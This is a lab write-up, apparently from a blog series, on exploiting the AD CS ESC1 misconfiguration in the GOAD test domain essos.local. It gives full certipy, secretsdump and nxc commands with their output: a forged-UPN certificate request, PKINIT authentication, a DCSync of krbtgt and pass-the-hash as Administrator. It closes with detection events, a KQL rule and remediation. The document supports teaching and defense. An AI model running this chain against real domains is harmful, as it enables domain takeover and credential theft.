Series · 4 partsActive Directory Certificate ServicesPart 2 · You are here
  1. 1AD CS Part 1: Architecture, Template Semantics, and the ESC Taxonomy
  2. 2AD CS Part 2: ESC1 Exploitation: RPC Targeting, PKINIT Authentication, and Forest CompromiseYou are here
  3. 3AD CS Part 3: ESC4 and ESC6 — Creating the Vulnerability Yourself
  4. 4AD CS Part 4: The Rest of the Catalog and How to Lock It Down

Attack Surface Overview: The ESC1 Misconfiguration

In Active Directory Certificate Services, ESC1 represents the most direct privilege escalation vector from an unprivileged domain user account to Domain Administrator. It occurs when a published certificate template satisfies three concurrent conditions:

  1. Broad Enrollment Rights: The template DACL grants Enroll or AutoEnroll permissions to a broadly accessible group such as Authenticated Users or Domain Users.
  2. Enrollee-Supplied Subject: The template’s mspki-certificate-name-flag includes the bitmask flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x00010000). This instructs the CA to accept arbitrary Subject Alternative Name (SAN) attributes supplied in the certificate signing request rather than constructing the SAN from the requester’s Active Directory object.
  3. Client Authentication EKU: The template’s pKIExtendedKeyUsage contains the Client Authentication OID (1.3.6.1.5.5.7.3.2) or Smart Card Logon OID (1.3.6.1.4.1.311.20.2.2), enabling the issued certificate to be used in RFC 4556 Kerberos PKINIT exchanges.

When these conditions align, any authenticated principal can request a valid X.509 certificate specifying the identity of a Tier-0 administrator (such as [email protected]), present the certificate to the KDC, and receive an authentic TGT with full administrative privileges.

Phase 1: RPC Endpoint Resolution and Certificate Enrollment

During initial testing against the essos.local environment, issuing a standard certificate request against the domain controller fails with an RPC error:

$ certipy-ad req -u [email protected] -p fr3edom -ca ESSOS-CA -template ESC1 \
    -upn [email protected] -dc-ip 192.168.56.12
[*] Requesting certificate via RPC
[!] Failed to resolve dynamic endpoint 91AE6020-9E3C-11CF-8D7C-00AA00C091BE: ept_s_not_registered

Protocol Mechanics: Why ept_s_not_registered Occurs

The Windows Client-to-Certificate Authority protocol ([MS-WCCE]) executes over RPC (ncacn_ip_tcp). Under this protocol:

  1. The client connects to the RPC Endpoint Mapper (EPM) on TCP port 135 of the specified target IP (192.168.56.12, the Domain Controller MEEREEN).
  2. The client requests the dynamic high-port binding for the ICertRequestD2 interface UUID: 
    UUID: 91AE6020-9E3C-11CF-8D7C-00AA00C091BE
Version: 0.0
  3. Because ESSOS-CA is hosted on member server BRAAVOS (192.168.56.23) rather than on the Domain Controller, the Domain Controller’s endpoint mapper returns status code 0x000006D9 (ept_s_not_registered).

To resolve this, the client must explicitly direct the RPC request to the host actually executing the certsvc service using the -target flag:

$ certipy-ad req -u [email protected] -p fr3edom -ca ESSOS-CA -template ESC1 \
    -upn [email protected] -target braavos.essos.local -dc-ip 192.168.56.12
[*] Requesting certificate via RPC
[*] Request ID is 3
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Saving certificate and private key to 'daenerys.targaryen.pfx'

The CA processes the request, embeds [email protected] as the Subject Alternative Name (szOID_SUBJECT_ALT_NAME2, 2.5.29.17), signs the certificate with its private key, and returns the certificate alongside the generated private key in a PKCS#12 (.pfx) archive.

Phase 2: PKINIT Pre-Authentication and Weak UPN Mapping

With daenerys.targaryen.pfx saved locally, the certificate must be exchanged for a Kerberos Ticket Granting Ticket via PKINIT (RFC 4556).

$ certipy-ad auth -pfx daenerys.targaryen.pfx -dc-ip 192.168.56.12
[*] Certificate identities:
[*]     SAN UPN: '[email protected]'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a

The Weak Binding Nuance

The enrollment output noted: Certificate has no object SID. This occurs because the ESC1 template specifies mspki-enrollment-flag containing 0x00080000 (CT_FLAG_NO_SECURITY_EXTENSION), omitting the Microsoft-specific szOID_NTDS_CA_SECURITY_EXT (1.3.6.1.4.1.311.25.2).

When a certificate lacks an embedded object SID:

  • On unpatched or moderately configured Domain Controllers (StrongCertificateBindingEnforcement = 0 or 1), the KDC falls back to matching the SAN UPN ([email protected]) directly against LDAP userPrincipalName.
  • The KDC accepts the match, generates the PAC for daenerys.targaryen, and returns an authentic TGT in the AS-REP.
  • Certipy extracts the user’s NT hash from the PAC cache data returned in the ticket exchange: 34534854d33b398b66684072224bb47a.

If StrongCertificateBindingEnforcement = 2 were configured on the KDC, the authentication attempt would be rejected with KDC_ERR_CLIENT_NAME_MISMATCH because the certificate does not carry a verifiable object SID extension.

ESC1 EXPLOITATION · ENROLLEE SUPPLIES SUBJECT → PKINIT UPN MAPPING → DCSYNC 1 · CERTIFICATE ENROLLMENT Target: ESSOS-CA (braavos .23) Caller: missandei (Domain User) certipy req -ca ESSOS-CA -template ESC1 -upn daenerys ENROLLEE SUPPLIES SUBJECT CT_FLAG_ENROLLEE_SUPPLIES_SUBJ Issued X.509 cert has no SID OID Output: daenerys.pfx keypair .pfx 2 · PKINIT PRE-AUTH Target: KDC (meereen .12) certipy auth -pfx daenerys.pfx AS-REQ (PA-PK-AS-REQ) KDC maps cert without SID WEAK CERTIFICATE BINDING SAN UPN matches daenerys StrongBindingEnforcement < 2 Output: daenerys TGT + NT Hash TGT 3 · DOMAIN TAKEOVER Target: DC03 meereen (.12) daenerys ∈ Domain Admins DRSUAPI DsGetNCChanges DCSync forest root credentials ROOT SECRETS DUMPED krbtgt hash: 7e486cbf… Admin hash: 54296a48… STATUS: essos.local PWNED EXPLOITATION IMPACT · 1 unprivileged RPC request collapses all Tier-0 boundaries into Domain Admin DCSYNC EVIDENCE: krbtgt: 7e486cbf… · daenerys: 34534854… · Administrator: 54296a48…
The ESC1 flow: a certificate request pinned to the CA host, a PKINIT handshake mapping the certificate to daenerys.targaryen by UPN, and a DCSync yielding full forest control.

Phase 3: Domain Takeover via DRSUAPI DCSync

Because daenerys.targaryen is a member of Domain Admins, her account holds directory replication extended rights over the domain partition root (DC=essos,DC=local):

  • DS-Replication-Get-Changes (1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All (1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

Using impacket-secretsdump with her recovered NT hash, we invoke DRSUAPI RPC function DsGetNCChanges to simulate a Domain Controller replication request and dump the krbtgt account hash:

$ impacket-secretsdump essos.local/[email protected] \
    -hashes aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a -just-dc-user krbtgt
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7e486cbfb7d10ec86b7f8384f763d60d:::

Full Forest Access Verification

With the krbtgt hash (7e486cbfb7d10ec86b7f8384f763d60d) extracted, Golden Ticket generation is possible for any arbitrary identity across essos.local. To confirm direct administrative execution, secretsdump also yielded the built-in Administrator hash (54296a48...):

$ nxc smb 192.168.56.12 -u Administrator -H 54296a48cd30259cc88095373cec24da -d essos.local
SMB  192.168.56.12  445  MEEREEN  [+] essos.local\Administrator:54296a48cd30259cc88095373cec24da (Pwn3d!)

The entire compromise chain required a single unprivileged RPC certificate request. No password cracking, Kerberoasting, or complex multi-hop ACL walks were required.

Detection Engineering and Remediation

Forensic Artifacts and Event Signatures

Event IDProviderDescriptionCritical Fields to Inspect
4886Active Directory CSCertificate request receivedRequester account (missandei), template name (ESC1), requested attributes (SAN: [email protected]).
4887Active Directory CSCertificate issuedSubject Alternative Name mismatching requester identity.
4768Kerberos KDCTGT requested via PKINITPre-Authentication Type = 16, Target Account = Tier-0 Administrator (daenerys.targaryen).
4662Directory ServiceExtended rights accessedAccess Mask 0x100, Access Request: DS-Replication-Get-Changes-All from a non-DC IP address.
// KQL Rule: Flag Certificates Issued with SAN Divergence
SecurityEvent
| where EventID == 4887
| extend Requester = tostring(parse_xml(EventData).Data[0].["#text"])
| extend SAN = tostring(parse_xml(EventData).Data[4].["#text"])
| extend Template = tostring(parse_xml(EventData).Data[2].["#text"])
| where Requester != "" and SAN != "" and Requester != SAN
| project TimeGenerated, Computer, Requester, SAN, Template

Remediation Protocol

  1. Remove Enrollee-Supplied SAN Flag: Modify the vulnerable template to generate subjects from Active Directory object attributes: 
    Set-ADObject -Identity "CN=ESC1,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local" `
    -Replace @{'mspki-certificate-name-flag' = 0x0}
  2. Enforce Strong Certificate Binding (KB5014754): Configure Domain Controllers to strictly require Object SID validation: 
    reg add "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement /t REG_DWORD /d 2 /f
  3. Restrict Enrollment Permissions: Audit and remove Domain Users or Authenticated Users from template DACLs that specify Client Authentication or Smart Card Logon EKUs.

Evidence and limits

The ESC1 certificate enrollment, PKINIT exchange, and subsequent DCSync were executed against ESSOS-CA (192.168.56.23) and MEEREEN (192.168.56.12) in the isolated GOAD lab. All certificates, keys, and dumped hashes belong to the synthetic essos.local domain.

References

Sources & freshness

How current is this note?

Sources checkedNovember 5, 2026

The latest source-review, content-update, or publication date is shown.

ReviewPublic sources reviewed

Primary public records were checked. Environment-specific behavior remains outside the claim unless separately reproduced.